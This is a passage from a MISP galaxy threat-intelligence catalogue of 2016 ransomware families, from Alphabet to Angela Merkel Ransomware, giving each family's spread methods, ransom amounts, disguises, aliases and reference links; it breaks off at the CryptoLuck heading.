It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. This ransomware poses as Windows 10 Critical Update Service. Offers you to update your Windows 10, but instead encrypts your files. For successful attack, the victim must have .NET Framework 4.5.2 installed on him computer.

The tag is: *misp-galaxy:ransomware="Alphabet Ransomware"*

View relationships graph

Alphabet Ransomware has relationships with:

- similar: misp-galaxy:malpedia="Alphabet Ransomware" with estimative-language:likelihood-probability="likely"

Table 13074. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/alphabet-ransomware.html
https://twitter.com/PolarToffee/status/812331918633172992

KoKoKrypt Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread by its creator in forums. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files and documents and more. The ransom is 0.1 bitcoins within 72 hours. Uses Windows Update as a decoy. Creator: Talnaci Alexandru

The tag is: *misp-galaxy:ransomware="KoKoKrypt Ransomware"*

KoKoKrypt Ransomware is also known as:

- KokoLocker Ransomware

Table 13075. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/kokokrypt-ransomware.html
http://removevirusadware.com/tips-for-removeing-kokokrypt-ransomware/

L33TAF Locker Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Ransom is 0.5 bitcoins. The name of the creator is staffttt, he also created Fake CryptoLocker

The tag is: *misp-galaxy:ransomware="L33TAF Locker Ransomware"*

Table 13076. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/l33taf-locker-ransomware.html

PClock4 Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam (for example: "you have a criminal case against you"), fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="PClock4 Ransomware"*

PClock4 Ransomware is also known as:

- PClock SysGop Ransomware

Table 13077. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/pclock4-sysgop-ransomware.html

Guster Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. This ransomware uses VBS-script to send a voice message as the first few lines of the note.

The tag is: *misp-galaxy:ransomware="Guster Ransomware"*

Table 13078. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/guster-ransomware.html
https://twitter.com/BleepinComputer/status/812131324979007492

Roga

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The hacker requests the ransom in Play Store cards. https://3.bp.blogspot.com/-ClUef8T55f4/WGKb8U4GeaI/AAAAAAAACzg/UFD0X2sORHYTVRNBSoqd5q7TBrOblQHmgCLcB/s1600/site.png

The tag is: *misp-galaxy:ransomware="Roga"*

View relationships graph

Roga has relationships with:

- similar: misp-galaxy:ransomware="Free-Freedom" with estimative-language:likelihood-probability="likely"

Table 13079. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/roga-ransomware.html

CryptoLocker3 Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Creator is staffttt and the ransom is 0.5 botcoins.

The tag is: *misp-galaxy:ransomware="CryptoLocker3 Ransomware"*

CryptoLocker3 Ransomware is also known as:

- Fake CryptoLocker

Table 13080. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/cryptolocker3-ransomware.html

ProposalCrypt Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The ransom is 1.0 bitcoins.

The tag is: *misp-galaxy:ransomware="ProposalCrypt Ransomware"*

Table 13081. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/proposalcrypt-ransomware.html
http://www.archersecuritygroup.com/what-is-ransomware/
https://twitter.com/demonslay335/status/812002960083394560
https://twitter.com/malwrhunterteam/status/811613888705859586

Manifestus Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The hacker demands 0.2 bitcoins. The ransomware poses as a Window update.

The tag is: *misp-galaxy:ransomware="Manifestus Ransomware "*

Table 13082. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/manifestus-ransomware.html
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-december-23rd-2016-cryptxxx-koolova-cerber-and-more/
https://twitter.com/struppigel/status/811587154983981056

EnkripsiPC Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The name of the hacker is humanpuff69 and he requests 0.5 bitcoins. The encryption password is based on the computer name

The tag is: *misp-galaxy:ransomware="EnkripsiPC Ransomware"*

EnkripsiPC Ransomware is also known as:

- IDRANSOMv3
- Manifestus

View relationships graph

EnkripsiPC Ransomware has relationships with:

- similar: misp-galaxy:malpedia="Manifestus" with estimative-language:likelihood-probability="likely"

Table 13083. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/enkripsipc-ransomware.html
https://twitter.com/demonslay335/status/811343914712100872
https://twitter.com/BleepinComputer/status/811264254481494016
https://twitter.com/struppigel/status/811587154983981056

BrainCrypt Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. So far the victims are from Belarus and Germany.

The tag is: *misp-galaxy:ransomware="BrainCrypt Ransomware"*

Table 13084. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/braincrypt-ransomware.html

MSN CryptoLocker Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Ransom is 0.2 bitcoins.

The tag is: *misp-galaxy:ransomware="MSN CryptoLocker Ransomware"*

Table 13085. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/msn-cryptolocker-ransomware.html
https://twitter.com/struppigel/status/810766686005719040

CryptoBlock Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The ransom is in the amount is 0.3 bitcoins. The ransomware is disguises themselves as Adobe Systems, Incorporated. RaaS

The tag is: *misp-galaxy:ransomware="CryptoBlock Ransomware "*

Table 13086. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/cryptoblock-ransomware.html
https://twitter.com/drProct0r/status/810500976415281154

AES-NI Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="AES-NI Ransomware "*

Table 13087. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/aes-ni-ransomware.html

Koolova Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The hacker of this ransomware tends to make lots of spelling errors in his requests. With Italian text that only targets the Test folder on the user's desktop

The tag is: *misp-galaxy:ransomware="Koolova Ransomware"*

Table 13088. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/koolova-ransomware.html
https://www.bleepingcomputer.com/news/security/koolova-ransomware-decrypts-for-free-if-you-read-two-articles-about-ransomware/

Fake Globe Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc... The ransom is 1bitcoin.

The tag is: *misp-galaxy:ransomware="Fake Globe Ransomware"*

Fake Globe Ransomware is also known as:

- Globe Imposter
- GlobeImposter

View relationships graph

Fake Globe Ransomware has relationships with:

- similar: misp-galaxy:malpedia="GlobeImposter" with estimative-language:likelihood-probability="likely"

Table 13089. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/fake-globe-ransomware.html
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-december-30th-2016-infected-tvs-and-open-source-ransomware-sucks/
https://twitter.com/fwosar/status/812421183245287424
https://decrypter.emsisoft.com/globeimposter
https://twitter.com/malwrhunterteam/status/809795402421641216

https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-june-8th-2018-crybrazil-cryptconsole-and-magniber/
https://twitter.com/GrujaRS/status/1004661259906768896
https://www.ransomlook.io/group/globeimposter
https://www.bleepingcomputer.com/news/security/globeimposter-ransomware-spreading-via-spam-campaigns/
https://blog.emsisoft.com/en/23639/globeimposter-ransomware/
https://www.trendmicro.com/en_us/research/17/g/globeimposter-ransomware.html

V8Locker Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc...

The tag is: *misp-galaxy:ransomware="V8Locker Ransomware"*

Table 13090. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/v8locker-ransomware.html

Cryptorium (Fake Ransomware)

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It SUPPOSEDLY encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc., however your files are not really encrypted, only the names are changed.

The tag is: *misp-galaxy:ransomware="Cryptorium (Fake Ransomware)"*

Table 13091. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/cryptorium-ransomware.html

Antihacker2017 Ransomware

It's directed to Russian speaking users, there fore is able to infect mosty the old USSR countries. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc ... The hacker goes by the nickname Antihacker and requests the victim to send him an email for the decryption. He does not request any money only a warning about looking at porn (gay, incest and rape porn to be specific).

The tag is: *misp-galaxy:ransomware="Antihacker2017 Ransomware"*

Table 13092. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/antihacker2017-ransomware.html

CIA Special Agent 767 Ransomware (FAKE!!!)

It's directed to English speaking users, therefore is able to infect users all over the world. It is spread using email spam, fake updates, attachments and so on. It SUPPOSEDLY encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc... Your files are not really encrypted and nothing actually happens, however the hacker does ask the victim to pay a sum of 100$, after 5 days the sum goes up to 250$ and thereafter to 500$. After the payment is received, the victim gets the following message informing him that he has been fooled and he simply needed to delete the note. https://4.bp.blogspot.com/-T8iSbbGOz84/WFGZEbuRfCI/AAAAAAAACm0/SO8Srwx2UIM3FPZcZl7W76oSDCsnq2vfgCPcB/s1600/code2.jpg

The tag is: *misp-galaxy:ransomware="CIA Special Agent 767 Ransomware (FAKE!!!)"*

Table 13093. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/cia-special-agent-767-ransomware.html
https://www.bleepingcomputer.com/virus-removal/remove-cia-special-agent-767-screen-locker
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-december-16th-2016-samas-no-more-ransom-screen-lockers-and-more/
https://guides.yoosecurity.com/cia-special-agent-767-virus-locks-your-pc-screen-how-to-unlock/

LoveServer Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc... This hacker request your IP address in return for the decryption.

The tag is: *misp-galaxy:ransomware="LoveServer Ransomware "*

Table 13094. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/loveserver-ransomware.html

Kraken Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc... The hacker requests 2 bitcoins in return for the files.

The tag is: *misp-galaxy:ransomware="Kraken Ransomware"*

Table 13095. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/kraken-ransomware.html

Antix Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc... The ransom is 0.25 bitcoins and the nickname of the hacker is FRC 2016.

The tag is: *misp-galaxy:ransomware="Antix Ransomware"*

Table 13096. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/antix-ransomware.html

PayDay Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc... The ransom is R$950 which is due in 5 days. (R$ is a Brazilian currency) Based off of Hidden-Tear

The tag is: *misp-galaxy:ransomware="PayDay Ransomware "*

Table 13097. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/payday-ransomware.html
https://twitter.com/BleepinComputer/status/808316635094380544

Slimhem Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is NOT spread using email spam, fake updates, attachments and so on. It simply places a decrypt file on your computer.

The tag is: *misp-galaxy:ransomware="Slimhem Ransomware"*

Table 13098. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/slimhem-ransomware.html

M4N1F3STO Ransomware (FAKE!!!!!)

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc... FILES DON'T REALLY GET DELETED NOR DO THEY GET ENCRYPTED!!!!!!!

The tag is: *misp-galaxy:ransomware="M4N1F3STO Ransomware (FAKE!!!!!)"*

Table 13099. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/m4n1f3sto-ransomware.html

Dale Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc... CHIP > DALE

The tag is: *misp-galaxy:ransomware="Dale Ransomware"*

Dale Ransomware is also known as:

- DaleLocker Ransomware

UltraLocker Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc... Based on the idiotic open-source ransomware called CryptoWire

The tag is: *misp-galaxy:ransomware="UltraLocker Ransomware"*

Table 13100. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/ultralocker-ransomware.html
https://twitter.com/struppigel/status/807161652663742465

AES_KEY_GEN_ASSIST Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc...

The tag is: *misp-galaxy:ransomware="AES_KEY_GEN_ASSIST Ransomware"*

Table 13101. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/aeskeygenassist-ransomware.html
https://id-ransomware.blogspot.co.il/2016/09/dxxd-ransomware.html
https://www.bleepingcomputer.com/forums/t/634258/aes-key-gen-assistprotonmailcom-help-support/

Code Virus Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Code Virus Ransomware "*

Table 13102. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/code-virus-ransomware.html

FLKR Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="FLKR Ransomware"*

Table 13103. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/flkr-ransomware.html

PopCorn Time Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. These hackers claim to be students from Syria. This ransomware poses as the popular torrent movie screener called PopCorn. These criminals give you the chance to retrieve your files "for free" by spreading this virus to others. Like shown in the note bellow: https://www.bleepstatic.com/images/news/ransomware/p/Popcorn-time/refer-a-friend.png

The tag is: *misp-galaxy:ransomware="PopCorn Time Ransomware"*

Table 13104. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/popcorntime-ransomware.html
https://www.bleepingcomputer.com/news/security/new-scheme-spread-popcorn-time-ransomware-get-chance-of-free-decryption-key/

HackedLocker Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc... NO POINT OF PAYING THE RANSOM—THE HACKER DOES NOT GIVE A DECRYPT AFTERWARDS.

The tag is: *misp-galaxy:ransomware="HackedLocker Ransomware"*

Table 13105. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/hackedlocker-ransomware.html

GoldenEye Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc...

The tag is: *misp-galaxy:ransomware="GoldenEye Ransomware"*

View relationships graph

GoldenEye Ransomware has relationships with:

- similar: misp-galaxy:ransomware="Petya" with estimative-language:likelihood-probability="likely"

Table 13106. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/goldeneye-ransomware.html
https://www.bleepingcomputer.com/news/security/petya-ransomware-returns-with-goldeneye-version-continuing-james-bond-theme/
https://www.bleepingcomputer.com/forums/t/634778/golden-eye-virus/

Sage Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc...

The tag is: *misp-galaxy:ransomware="Sage Ransomware"*

Table 13107. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/sage-ransomware.html
https://www.bleepingcomputer.com/forums/t/634978/sage-file-sample-extension-sage/
https://www.bleepingcomputer.com/forums/t/634747/sage-20-ransomware-sage-support-help-topic/

SQ_ Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc... This hacker requests 4 bitcoins for ransom.

The tag is: *misp-galaxy:ransomware="SQ* Ransomware"_

SQ_ Ransomware is also known as:

- VO_ Ransomware

Table 13108. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/sq-vo-ransomware.html

Matrix

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc...

The tag is: *misp-galaxy:ransomware="Matrix"*

Matrix is also known as:

- Malta Ransomware
- Matrix Ransomware

Table 13109. Table References

Links
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-december-2nd-2016-screenlockers-kangaroo-the-sfmta-and-more/
https://id-ransomware.blogspot.co.il/2016/12/matrix-ransomware.html
https://twitter.com/rommeljoven17/status/804251901529231360

https://www.bleepingcomputer.com/news/security/new-matrix-ransomware-variants-installed-via-hacked-remote-desktop-services/
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-august-31st-2018-devs-on-vacation/
https://twitter.com/demonslay335/status/1034212374805278720
https://www.bleepingcomputer.com/news/security/new-fox-ransomware-matrix-variant-tries-its-best-to-close-all-file-handles/
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-october-12th-2018-notpetya-gandcrab-and-more/
https://twitter.com/demonslay335/status/1049314118409306112
https://twitter.com/demonslay335/status/1050118985210048512
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-september-14th-2018-kraken-dharma-and-matrix/
https://twitter.com/demonslay335/status/1039907030570598400

Satan666 Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Satan666 Ransomware"*

Table 13110. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/satan666-ransomware.html

RIP (Phoenix) Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Based on HiddenTear

The tag is: *misp-galaxy:ransomware="RIP (Phoenix) Ransomware"*

RIP (Phoenix) Ransomware is also known as:

- RIP
- Phoenix

Table 13111. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/rip-ransomware.html

https://twitter.com/BleepinComputer/status/804810315456200704

Locked-In Ransomware or NoValid Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Based on RemindMe

The tag is: *misp-galaxy:ransomware="Locked-In Ransomware or NoValid Ransomware"*

Locked-In Ransomware or NoValid Ransomware is also known as:

- Locked-In Ransomware
- NoValid Ransomware

Table 13112. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/novalid-ransomware.html
https://www.bleepingcomputer.com/forums/t/634754/locked-in-ransomware-help-support-restore-corupted-fileshtml/
https://twitter.com/struppigel/status/807169774098796544

Chartwig Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Chartwig Ransomware"*

Table 13113. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/chartwig-ransomware.html

RenLocker Ransomware (FAKE)

It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The files don't actually get encrypted, their names get changed using this formula: [number][.crypter]

The tag is: *misp-galaxy:ransomware="RenLocker Ransomware (FAKE)"*

Table 13114. Table References

Links

https://id-ransomware.blogspot.co.il/2016/11/renlocker-ransomware.html

Thanksgiving Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Thanksgiving Ransomware"*

Table 13115. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/thanksgiving-ransomware.html
https://id-ransomware.blogspot.co.il/2016/07/stampado-ransomware-1.html
https://twitter.com/BleepinComputer/status/801486420368093184

CockBlocker Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="CockBlocker Ransomware"*

Table 13116. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/cockblocker-ransomware.html
https://twitter.com/jiriatvirlab/status/801910919739674624

Lomix Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Based on the idiotic open-source ransomware called CryptoWire

The tag is: *misp-galaxy:ransomware="Lomix Ransomware"*

Table 13117. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/lomix-ransomware.html
https://twitter.com/siri_urz/status/801815087082274816

OzozaLocker Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. https://3.bp.blogspot.com/--jubfYRaRmw/WDaOyZXkAaI/AAAAAAAACQE/E63a4FnaOfACZ07s1xUiv_haxy8cp5YCACLcB/s1600/ozoza2.png

The tag is: *misp-galaxy:ransomware="OzozaLocker Ransomware"*

Table 13118. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/ozozalocker-ransomware.html
https://decrypter.emsisoft.com/ozozalocker
https://twitter.com/malwrhunterteam/status/801503401867673603

Crypute Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Crypute Ransomware"*

Crypute Ransomware is also known as:

- m0on Ransomware

Table 13119. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/crypute-ransomware-m0on.html
https://www.bleepingcomputer.com/virus-removal/threat/ransomware/

NMoreira Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="NMoreira Ransomware"*

NMoreira Ransomware is also known as:

- Fake Maktub Ransomware

Table 13120. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/nmoreira-ransomware.html
https://id-ransomware.blogspot.co.il/2016/10/airacrop-ransomware.html

VindowsLocker Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The ransom amount is 349.99$ and the hacker seems to be from India. He disguises himself as Microsoft Support.

The tag is: *misp-galaxy:ransomware="VindowsLocker Ransomware"*

Table 13121. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/vindowslocker-ransomware.html
https://malwarebytes.app.box.com/s/gdu18hr17mwqszj3hjw5m3sw84k8hlph
https://rol.im/VindowsUnlocker.zip
https://twitter.com/JakubKroustek/status/800729944112427008
https://www.bleepingcomputer.com/news/security/vindowslocker-ransomware-mimics-tech-support-scam-not-the-other-way-around/

Donald Trump 2 Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Here is the original ransomware under this name: http://id-ransomware.blogspot.co.il/2016/09/donald-trump-ransomware.html

The tag is: *misp-galaxy:ransomware="Donald Trump 2 Ransomware"*

Table 13122. Table References

Links
http://id-ransomware.blogspot.co.il/2016/09/donald-trump-ransomware.html
https://www.bleepingcomputer.com/news/security/the-donald-trump-ransomware-tries-to-build-walls-around-your-files/

Nagini Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Looks for C:\Temp\voldemort.horcrux

The tag is: *misp-galaxy:ransomware="Nagini Ransomware"*

Nagini Ransomware is also known as:

- Voldemort Ransomware

Table 13123. Table References

Links
http://id-ransomware.blogspot.co.il/2016/09/nagini-voldemort-ransomware.html
https://www.bleepingcomputer.com/news/security/the-nagini-ransomware-sics-voldemort-on-your-files/

ShellLocker Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="ShellLocker Ransomware"*

Table 13124. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/shelllocker-ransomware.html
https://twitter.com/JakubKroustek/status/799388289337671680

Chip Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Chip Ransomware"*

Chip Ransomware is also known as:

- ChipLocker Ransomware

Table 13125. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/chip-ransomware.html
http://malware-traffic-analysis.net/2016/11/17/index.html
https://www.bleepingcomputer.com/news/security/rig-e-exploit-kit-now-distributing-new-chip-ransomware/

Dharma Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. CrySiS > Dharma Note: ATTENTION! At the moment, your system is not protected. We can fix it and restore files. To restore the system write to this address: bitcoin143@india.com. CrySiS variant

The tag is: *misp-galaxy:ransomware="Dharma Ransomware"*

Table 13126. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/dharma-ransomware.html
https://www.bleepingcomputer.com/news/security/kaspersky-releases-decryptor-for-the-dharma-ransomware/
https://www.bleepingcomputer.com/news/security/new-cmb-dharma-ransomware-variant-released/
https://www.bleepingcomputer.com/news/security/new-bip-dharma-ransomware-variant-released/
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-october-12th-2018-notpetya-gandcrab-and-more/
https://twitter.com/demonslay335/status/1049313390097813504
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-september-14th-2018-kraken-dharma-and-matrix/
https://twitter.com/JakubKroustek/status/1038680437508501504
https://twitter.com/demonslay335/status/1059521042383814657
https://twitter.com/demonslay335/status/1059940414147489792
https://twitter.com/JakubKroustek/status/1060825783197933568
https://twitter.com/JakubKroustek/status/1064061275863425025
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-november-23rd-2018-stop-dharma-and-more/
https://www.youtube.com/watch?v=qjoYtwLx2TI
https://twitter.com/GrujaRS/status/1072139616910757888

Angela Merkel Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Angela Merkel Ransomware"*

Table 13127. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/angela-merkel-ransomware.html
https://twitter.com/malwrhunterteam/status/798268218364358656

CryptoLuck Ransomware

